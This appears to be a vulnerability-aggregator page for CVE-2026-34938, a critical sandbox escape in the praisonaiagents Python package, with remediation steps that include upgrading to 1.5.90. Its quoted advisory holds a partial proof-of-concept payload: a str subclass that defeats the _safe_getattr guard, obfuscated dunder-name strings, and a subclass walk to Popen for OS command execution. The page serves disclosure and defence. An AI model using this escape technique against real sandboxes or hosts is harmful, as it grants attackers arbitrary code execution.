Categories
CVE-2026-34938 critical CVSS 10.0

Vulnerability in praisonaiagents (CVE-2026-34938)

Summary

Vulnerability in praisonaiagents (CVE-2026-34938). Successful exploitation can lead to full system takeover. Exploitable via str. Mitigation: upgrade to 1.5.90 or later.

Original description

The description as published by the source.

Summary

execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.

Details

python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)

# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses
        raise AttributeError(...)

# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)

PoC


from praisonaiagents.tools.python_tools import execute_code

payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1

obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
    try:
        m = getattr(cls, mod_attr…

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-34938 has been found in praisonaiagents.
Attackers can target a specific entry point like str over the network to misuse the product.
Successful exploitation can lead to full system takeover. CVSS score: 10.0/10.
What to do: upgrade praisonaiagents to 1.5.90 or later.
If unsure, ask your IT team or search "praisonaiagents CVE-2026-34938" on the vendor's site.

CVE-2026-34938 (praisonaiagents) — CWE-693 / CVSS v3 10.0
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: str / _safe_getattr / bot.py / autonomy_mode.py
Patched: 1.5.90 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-693) exists in praisonaiagents. Attackers reach the vulnerable code path via str without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of praisonaiagents. Attack surface: str / _safe_getattr / bot.py / autonomy_mode.py.

🔥 Severity

Severity: Critical (CVSS 10.0/10). Successful exploitation can lead to full system takeover.

🔧 How to fix

Update to 1.5.90.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'praisonaiagents' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify
    grep -r 'praisonaiagents' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で praisonaiagents を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch
    Upgrade praisonaiagents to 1.5.90

    ステージング環境で 1.5.90 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

PyPI praisonaiagents
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.90"}]}]

References

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